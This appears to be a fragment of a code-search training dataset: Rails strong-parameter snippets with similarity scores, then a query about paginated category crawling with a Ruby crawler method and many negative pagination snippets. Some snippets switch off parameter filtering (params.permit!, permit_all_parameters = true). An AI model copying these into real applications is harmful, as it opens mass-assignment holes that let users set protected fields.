valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def active_code_params\n params[:active_code].permit\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69780594", "0.678054", "0.6742781", "0.67387927", "0.67346025", "0.6590683", "0.6501642", "0.6495788", "0.6479752", "0.64763314", "0.645457", "0.6437739", "0.6377168", "0.6372484", "0.6363871", "0.63179374", "0.62981373", "0.6297456", "0.62916917", "0.6290227", "0.628954", "0.62877893", "0.62814754", "0.62416226", "0.6237962", "0.62168854", "0.62127215", "0.62084496", "0.61927646", "0.6176822", "0.6174079", "0.6171225", "0.6161419", "0.61507314", "0.6150071", "0.6145409", "0.61204594", "0.61135256", "0.6105225", "0.6103249", "0.6088041", "0.6079626", "0.6070542", "0.6060409", "0.60198915", "0.6016795", "0.6010659", "0.60103244", "0.6005393", "0.6005393", "0.6000696", "0.60000104", "0.59931517", "0.59916013", "0.5991397", "0.5990416", "0.5979021", "0.5965926", "0.59582806", "0.59579134", "0.5957629", "0.5956672", "0.59518754", "0.59510773", "0.5942638", "0.5937516", "0.59361875", "0.59361875", "0.59336793", "0.5928626", "0.5925229", "0.59243226", "0.59174913", "0.5907821", "0.5907719", "0.5906177", "0.59056896", "0.5897028", "0.5896294", "0.5895856", "0.5893494", "0.58926904", "0.589066", "0.58854234", "0.58809334", "0.5878489", "0.58727074", "0.5868653", "0.5866631", "0.58666086", "0.5866305", "0.586484", "0.58631617", "0.5861481", "0.5861059", "0.5859114", "0.5858489", "0.585326", "0.58530635", "0.5848788", "0.58479697" ]
0.0
-1
do for all paginated pages in particular category
def all_pages(list_page_url) max_page_count = get_max_page_count(list_page_url) puts "max_page_count: #{max_page_count}" (1..max_page_count).each do |page_num| begin puts "Crawling page ##{page_num} of #{max_page_count}" page = get_page(list_page_url, page_num) yield(page) rescue => e puts "Failed to crawl page: #{e.message}"; next end sleep(SLEEP_INTERVAL) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n@categories = Category.paginate(page: params[:page], per_page: 5) #list all categories, with pagination\nend", "def index\n @categories = Category.paginate(page: params[:page], per_page: 5)\n end", "def index\n @categories = Category.paginate(:page => params[:page], :per_page => 10)\n end", "def index\n @categories = Category.all.paginate(page: params[:page], per_page: 9)\n end", "def index\n @category = params[:category]\n conditions = {:page => params[:page], :order => 'id DESC'}\n case @category\n when nil\n @links = Link.paginate conditions\n when ''\n @links = Link.paginate conditions\n# when '未分类'\n# @links = Link.paginate_by_category '', conditions\n else\n conditions[:conditions] = \"category = '#{@category}'\"\n conditions[:per_page] = 300\n @links = Link.paginate conditions\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @links }\n end\n end", "def index\n @category = params[:category]\n conditions = {:page => params[:page], :order => 'id DESC'}\n case @category\n when nil\n @article_categories = ArticleCategory.paginate conditions\n when ''\n @article_categories = ArticleCategory.paginate conditions\n# when '未分类'\n# @article_categories = ArticleCategory.paginate_by_category '', conditions\n else\n conditions[:conditions] = \"category = '#{@category}'\"\n @article_categories = ArticleCategory.paginate conditions\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @article_categories }\n end\n end", "def paginate( options = {} )\n pp = options.delete(:per_page) || per_page\n all = options.delete(:all)\n\n options.delete(:category_id) if options[:category_id].nil?\n\n count = count_for( all, options[:category_id] )\n\n Paginator.new( count, per_page ) do |offset, per_page|\n all( default_options.merge(options).merge( :limit => pp, :offset => offset ) )\n end\n end", "def index\n @categories = Category.paginate(:page => params[:page], :per_page => 20).order(\"created_at DESC\")\n end", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def index\n @categories = Category.paginate(:page => params[:page], :per_page => 9)\n # @categories = Category.all\n end", "def category\n @category = NewsCategory.find_by! slug: params[:category_slug]\n @collection = News.of_type(:news).in_category(@category).page_for_visitors(current_page)\n end", "def index\n #index page\n @categories = Category.all.paginate(:page => params[:page], :per_page => 5).order('name')\n end", "def parse_category_pages(db_category, group_name_ru)\n products_request_url = 'https://catalog.api.onliner.by/search/' + db_category.name\n response_json = special_request(products_request_url)\n quantity = JSON.parse(response_json)['page']['last'].to_i\n 1.upto(quantity) do |page_number|\n print \"\\r#{group_name_ru}/#{db_category.name} : #{page_number}/#{quantity}\"\n page_url = products_request_url + '?page=' + page_number.to_s\n get_products_from_page(page_url, db_category)\n sleep(2)\n end\n puts\n end", "def index\n @categories = Category.all\n @posts = Post.all.paginate(page: params[:page],per_page: 4)\n end", "def routine_data\n return if controller_path.match(/\\//)\n @categories = Category.publics\n @page = params[:page]||1\n @limit = params[:limit]||25\n end", "def index \t\n @categories = Category.pages(params[:page], params[:q]) \t\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @categories }\r\n end\r\n end", "def index\n if params.has_key?(:category)\n @category = Category.find_by_name(params[:category])\n @posts = Post.where(category: @category)\n else\n @posts = Post.all.order(\"created_at DESC\")\n #paginate(:page => params[:page], :per_page =>6 )\n end\n end", "def index\n @category = params[:category]\n if !params[:tag].blank?\n @news_posts = NewsPost.with_tag(params[:tag]).page(params[:page])\n elsif !params[:category].blank?\n @news_posts = NewsPost.with_category(params[:category]).page(params[:page])\n elsif !params[:group_id].blank?\n @news_posts = NewsPost.includes(:groups).where(groups: { id: params[:group_id] }).page(params[:page])\n else\n @news_posts = NewsPost.all.page(params[:page])\n end\n end", "def index\n get_categories\n if @category\n @products = @category.products.paginate :page => params[:page], :per_page => 75\n else\n @products = Product.paginate :page => params[:page], :per_page => 75\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def create_category_pages\n articles_by_category.each do |category, posts|\n @items << Nanoc::Item.new(\n \"<%= render('category', :category => '#{category}') %>\",\n {\n :title => \"Posts in #{category}\",\n :h1 => \"#{category} posts\",\n :posts => posts\n },\n \"/categories/#{category}\",\n :binary => false\n )\n end\n end", "def index\n @job_categories = JobCategory.page params[:page]\n end", "def index\n @casein_page_title = 'Categorias'\n \t\t@categories = Category.order(sort_order(:nombre)).paginate :page => params[:page]\n end", "def index\n params[:page_title] = 'Listado de datasets de Open Data - Datos Democráticos'\n params[:page_description] = 'Listado de datasets de Open Data. Datos abiertos de instituciones principalmente gubernamentales (Open Gov).'\n\n @sel_category = params[:category]\n\n @page = (params.has_key?(:page) ? params[:page].to_i : 0)\n limit = 10\n\n @data_collections = DataCollection.all\n if not @sel_category.nil?\n @data_collections = @data_collections.joins('INNER JOIN data_collection_categories ON data_collection_categories.data_collection_id = data_collections.id').where('data_collection_categories.category_id = ?', @sel_category)\n end\n count = @data_collections.count\n\n @data_collections = @data_collections.limit(limit).offset(limit * @page)\n\n @total_pages = (count / limit).ceil\n @has_next_page = (limit * (@page + 1) < count)\n\n @categories = Category.all\n end", "def index\n @desserts_categories = DessertsCategory.paginate(:page => params[:page], :per_page => 6)\n end", "def index\n @coach_categories = CoachCategory.paginate(page: params[:page], :per_page => 15)\n end", "def index\n if category_id = params[:category]\n @news = News.where(category_id: category_id)\n else\n @news = News.where(category_id: 1)\n end\n @news = @news.order(created_at: :desc).page params[:page]\n end", "def show\n @categories = Category.all\n @posts = @category.posts.paginate(page: params[:page],per_page: 4)\n end", "def index\n @posts = Post.paginate(page: params[:page], per_page:4).ultimos #mostrará de 4 en 4 los post publicados, y ordenados desde el mas actual al mas antiguo\n @categories = Category.all #podremos ver todas las categorias\n\n \n end", "def index\n @bicycleposts = Bicyclepost.page(params[:page])\n @categories = Bicyclecategory.all\n end", "def index\n page_info = get_paging_order_info\n @search = Category.search(params[:q])\n @categories = @search.result(:distinct => true).paginate(page: page_info[:page], per_page: page_info[:limit])\n end", "def apply_category_filter\n return if params[:category].blank?\n Category.find(params[:category]).tap do |category|\n @posts = @posts.where category: category\n add_breadcrumb \"by category \\\"#{category.humanize}\\\"\"\n end\n end", "def index\n #if params[:category].blank?\n @datagalleries = Datagallery.paginate(:page => params[:page], :per_page => 10).order(\"created_at DESC\")\n #else\n #@category_id = Category.find_by(name: params[:category]).id\n #@listings = Listing.where(category_id: @category_id).order(\"created_at DESC\")\n #end\n end", "def show\n @articles = @category.articles.order('published_at desc').paginate(:page => params[:page], :per_page => 18)\n end", "def index\n @categories = Category.shop_categories\n if params[:category_id].nil?\n @shops = Shop.where(\"state != 0\").paginate(:page => params[:page])\n else\n @category = Category.find params[:category_id]\n @shops = @category.shops.paginate(:page => params[:page])\n end\n end", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def index\n if params[:id].present? \n @category = Category.find(params[:id])\n @products = @category.products.paginate(:page => params[:page], :per_page => 8)\n else \n @products = Product.all.paginate(:page => params[:page], :per_page => 8)\n end\n end", "def index\n params[:lang] ||= 'English'\n unless read_fragment({:page => params[:page] || 1,\n :category => params[:category] || 'all',\n :lang => params[:lang] || 'English'})\n if params[:category].blank? or params[:category].eql? 'all'\n @articles = Article.approved.published.with_related.get_lang(params[:lang]).paginate :page => params[:page]\n else\n @articles = Article.approved.published.with_related.get_lang(params[:lang]).paginate :page => params[:page], :conditions => ['category_id = ?', params[:category]]\n end\n end\n end", "def index\n\n if params.has_key?(:category)\n @category = Category.find_by_name(params[:category])\n @posts = Post.where(category: @category).order(\"created_at DESC\").page(params[:page]).per_page(30)\n # @pagy, @posts = pagy(Post.all, items: 30)\n else\n @posts = Post.all.order(\"created_at DESC\").page(params[:page]).per_page(30)\n # @pagy, @posts = pagy(Post.all, items: 30)\n end\n\n\n if params[:search]\n @search_term = params[:search]\n @posts = @posts.search_by(@search_term)\n end\n\n end", "def index\n @categoria = Categoria.new\n @categorias = Categoria.paginate(page: params[:page], per_page: @@per_page)\n end", "def index\n \n @categories = Category.all.includes(:images).page(params[:page]).per(5)\n end", "def index\n @category_name = params[:category]\n @search = Search.new()\n if params[:category_id]\n @category = Category.find(params[:category_id])\n @products = @category.products.to_a.uniq\n @category_name = @category.name\n @categories = Category.where(parent_category: @category.parent_category)\n else\n @products = []\n @categories = Category.where(parent_category: @category_name)\n @categories.each {|e| @products << e.products}\n @products = @products.flatten.uniq\n end\n @page_number = 1\n @pages = (@products.length/12.0).ceil\n if params[:page_number]\n @page_number = params[:page_number].to_i\n if @page_number > @pages || @page_number < 1\n redirect_to \"/#{@category_name}\"\n end\n end\n min = (12 * (@page_number - 1))\n max = min + 11\n @products = @products[min..max]\n end", "def index\n categories = Category.all.order(id: :desc)\n @categories = categories.page(params[:page]).per(params[:per])\n end", "def show\n order = params[:order].present? ? params[:order] : 'pages.created_at DESC'\n @pages = @category.pages.includes(:categories).page(params[:page]).reorder(order)\n end", "def parse_category_page(category, page_link, page_number, selector = { product_link: '', next_page_link: '' })\n category_page = { links: [], is_next_page: false, next_page_link: '' }\n\n page_link = \"#{@donor.url}#{page_link.blank? ? category.path : page_link}\"\n category_name = \"#{category.name_eng.blank? ? category.name : category.name_eng} (id: #{category.id})\"\n\n display_info \"Category: \\e[33;1m#{category_name}\\e[0m, \\e[34;1m#{\n page_link}\\e[0m, page: \\e[34;1m#{page_number}\\e[0m\\n#{'-' * 80}\\e[0m\"\n\n page_html = get_page_html page_link\n return category_page if page_html.blank?\n\n links_html = page_html.css(selector[:product_link])\n\n next_page_link_node = page_html.css(selector[:next_page_link]).last\n category_page[:next_page_link] = get_link_path(next_page_link_node[:href]) unless next_page_link_node.blank?\n category_page[:is_next_page] = !category_page[:next_page_link].blank?#include?('javascript:void(0)') # .empty?\n\n if links_html.blank?\n display_error \"Products links not found #{category_page[:is_next_page] ?\n 'Go to next page' :\n 'Next page not found'}\"\n else\n links_html.each { |link| category_page[:links] << get_link_path(link[:href]) unless link[:href].blank? }\n\n display_info \"\\e[32;1mProducts links ok. #{'Go to next page' if category_page[:is_next_page]}\\e[0m\"\n ap [\"Products count = #{category_page[:links].count}\", category_page]\n end\n\n category_page\n end", "def index\n @categories = Category.paginate(:page => params[:page], per_page:30)\n @number = Category.count\n\n respond_to do |format|\n format.html\n format.json { render json: Category.all }\n end\n end", "def index\n # params[:category] ? @articles = Article.category_with(params[:category]) :\n @articles = Article.search(params[:search], params[:page])\n @articles = Article.all\n @articles = Article.paginate(page: params[:page])\n end", "def index\n if params[:roots]\n @categories = Category.roots\n else\n @categories = Category.children\n end\n\n @categories = @categories.paginate(:page => params[:page], :per_page => 25)\n end", "def index\n @admin_section = true\n @page_title = \"Course Categories\"\n \n @course_categories = CourseCategory.paginate(:all, :per_page=>10, :page=>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @course_categories }\n end\n end", "def index\n @categories = @current_branch.categories.includes(:categories).\n where(category_id: 0).paginate(:page => params[:page], :per_page => 10)\n end", "def sort_page_categories\n params[:pc].each_with_index {|val, index|\n obj = PageCategory.find_by_apikey(val)\n obj.update_attribute(:sort_order, index)\n }\n render :text => \"\"\n end", "def index\n \t @pagenav = Page.find_all_by_published('true')\n \t @categories = Category.order(\"name\")\n @projects = Project.order(\"id\").page(params[:page]).per(10)\n end", "def index\n @ledger_categories = LedgerCategory.all.page(params[:page])\n end", "def get_all_records(category, records, total_pages, page = 1)\n if total_pages >= page\n page += 1\n records += get(\"#{BASE_ENDPOINT}/#{category}?page=#{page}&pageSize=50\").parsed_response\n get_all_records(category, records, total_pages, page)\n else\n records\n end\n end", "def show\n #products in category page(s)\n #find products correspoding to the category, paginate it to 5 items/page and order it by product name ASC\n @products = Category.find(params[:id]).products.paginate(:page => params[:page], :per_page => 5).order('name')\n #@products = Product.where(:category_id => params[:id]).paginate(:page => params[:page]).order('id DESC')\n end", "def show\n @category = Category.find(params[:id])\n @category_products = @category.products.paginate(page: params[:page], per_page:5).order(\"name\")\n end", "def getcategories\n category_size = RequirementCategory.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n \tif current_offset + direction < category_size && current_offset + direction >= 0\n offset = current_offset + direction\n \t@categories = RequirementCategory.all.offset(offset).take(10) \n \trender :json => @categories\n else\n \trender :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\n\tend", "def categories\n pages = page.children.all(\n :conditions => { :class_name => 'ShopCategoryPage' },\n :order => 'pages.position ASC'\n ).map(&:shop_category)\n end", "def index\n resource_params = {}\n resource_params[:f] = params[:f].to_json if params[:f].present?\n resource_params[:page] = params[:page].present? ? params[:page] : 1\n resource_params[:per] = params[:per].present? ? params[:per] : 12\n\n @categories = Category.all(params: resource_params)\n\n @categories = Kaminari::PaginatableArray.new(@categories,{\n limit: @categories.http_response['X-limit'].to_i,\n offset: @categories.http_response['X-offset'].to_i,\n total_count: @categories.http_response['X-total'].to_i\n })\n end", "def index\n @classifieds = Classified.where.not(user_id: current_user).paginate(:page => params[:page])\n @categories = Category.all\n \n end", "def index\n @categories = Category.paginate(:page => params[:page])\n @title = \"Категории\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def prepara_pagina_categoria(articulos, ccat)\n if ccat.ends_with? \"*\"\n op = ' LIKE '\n cod = \"#{ccat.split('*')[0]}%\"\n else \n cat = Sal7711Gen::Categoriaprensa.where(codigo: ccat).take;\n if cat && cat.supracategoria\n op = ' LIKE '\n cod = \"#{cat.codigo}%\"\n elsif cat\n op = ' = '\n cod = cat.codigo.to_s\n else\n op = ' LIKE '\n cod = \"#{ccat}%\"\n end\n end\n articulos = articulos.where(\"id IN (SELECT articulo_id FROM\n public.sal7711_gen_articulo_categoriaprensa INNER JOIN \n public.sal7711_gen_categoriaprensa ON \n sal7711_gen_categoriaprensa.id = sal7711_gen_articulo_categoriaprensa.categoriaprensa_id \n WHERE codigo #{op} ?)\", cod)\n return articulos\n end", "def page_products(classification_id, category_path = nil, page = 1)\n json = json_products(classification_id, category_path, page)\n\n products_present?(json) ? bind_products(json) : []\n end", "def index\n if params[:category]\n @articles = Article.where(:category => params[:category]).paginate(:page => params[:page], :per_page => 5).order(\"created_at DESC\")\n @message = \"\"\n if @articles.empty?\n flash[:notice]\n end\n else\n @message = \"News\"\n @articles = Article.paginate(:page => params[:page], :per_page => 5).order(\"created_at DESC\")\n end\n end", "def index\n @user = current_user\n @category = params.has_key?(:category) ? params[:category] : \"newest-oldest\"\n @comics = Kaminari.paginate_array(Search.new.filter_comics_with_category(@user, @category)).page(params[:page]).per(10)\n end", "def index\n add_breadcrumb \"School Fee\", :fee_categories_path, :options => {:title => \"School Fee\"}\n @fee_categories = FeeCategory.page params[:page]\n end", "def parse_category(category_id, name, url)\n category_links_count = 0 # Total links in category.\n page_number = 1\n is_parse_next_page = true\n\n load_page url\n return 0 unless @browser\n\n while is_parse_next_page\n category_page_links = [] # Links on one category page.\n display_info \"Category: \\e[33;1m#{name}\\e[0m, \\e[34;1m#{url}\\e[0m, page: \\e[34;1m#{page_number}\\e[0m\"\n\n product_links_html = @browser.find('#showWindow .columnType').all 'ul li p.p_title a'\n\n # Saving founded links.\n if product_links_html.blank?\n display_error 'Products links not found.'\n else\n product_links_html.each do |product_link_node|\n unless product_link_node[:href].blank?\n category_page_links << product_link = get_link_path(product_link_node[:href])\n category_links_count += 1\n save_donor_product_link(category_id, product_link) unless DRY_RUN\n end\n end\n display_info \"Products count: \\e[34;1m#{category_page_links.count}\\e[0m\"\n ap category_page_links\n end\n\n # Check for next page existing and selecting it.\n if @browser.first('#paging1 span a.select')\n if (next_page_link = @browser.first('#paging1 span a.select + a')) # Next after selected exists?\n next_page_link.click # Click on it.\n else\n if (next_ten_pages_link = @browser.first('#paging1 a.next')) # Next 10 pages button exists?\n next_ten_pages_link.click # Click on it.\n else\n is_parse_next_page = false\n end\n end\n else\n if (first_page_link = @browser.first('#paging1 span a')) # First page link exists?\n first_page_link.click # Click on it.\n else\n is_parse_next_page = false\n end\n end\n\n page_number += 1\n end\n\n category_links_count\n end", "def descended_paged_products(page, product_per_page)\n products = Array.new\n self_and_descendants.active.each do |category|\n products += category.products.available\n end\n products.uniq.paginate(:page => page, :per_page => product_per_page)\n end", "def paginate(template, config, site_title, all_posts, all_tags, all_categories, all_locales)\r\n # By default paginate on all posts in the site\r\n using_posts = all_posts\r\n \r\n # Now start filtering out any posts that the user doesn't want included in the pagination\r\n before = using_posts.size\r\n using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'category', using_posts, all_categories)\r\n self._debug_print_filtering_info('Category', before, using_posts.size)\r\n before = using_posts.size\r\n using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'tag', using_posts, all_tags)\r\n self._debug_print_filtering_info('Tag', before, using_posts.size)\r\n before = using_posts.size\r\n using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'locale', using_posts, all_locales)\r\n self._debug_print_filtering_info('Locale', before, using_posts.size)\r\n \r\n # Apply sorting to the posts if configured, any field for the post is available for sorting\r\n if config['sort_field']\r\n sort_field = config['sort_field'].to_s\r\n\r\n # There is an issue in Jekyll related to lazy initialized member variables that causes iterators to \r\n # break when accessing an uninitialized value during iteration. This happens for document.rb when the <=> compaison function \r\n # is called (as this function calls the 'date' field which for drafts are not initialized.)\r\n # So to unblock this common issue for the date field I simply iterate once over every document and initialize the .date field explicitly\r\n if @debug\r\n Jekyll.logger.info \"Pagination:\", \"Rolling through the date fields for all documents\"\r\n end\r\n using_posts.each do |u_post|\r\n if u_post.respond_to?('date')\r\n tmp_date = u_post.date\r\n if( !tmp_date || tmp_date.nil? )\r\n if @debug\r\n Jekyll.logger.info \"Pagination:\", \"Explicitly assigning date for doc: #{u_post.data['title']} | #{u_post.path}\"\r\n end\r\n u_post.date = File.mtime(u_post.path)\r\n end\r\n end\r\n end\r\n\r\n using_posts.sort!{ |a,b| Utils.sort_values(Utils.sort_get_post_data(a.data, sort_field), Utils.sort_get_post_data(b.data, sort_field)) }\r\n\r\n # Remove the first x entries\r\n offset_post_count = [0, config['offset'].to_i].max\r\n using_posts.pop(offset_post_count)\r\n\r\n if config['sort_reverse']\r\n using_posts.reverse!\r\n end\r\n end\r\n \r\n # Calculate the max number of pagination-pages based on the configured per page value\r\n total_pages = Utils.calculate_number_of_pages(using_posts, config['per_page'])\r\n \r\n # If a upper limit is set on the number of total pagination pages then impose that now\r\n if 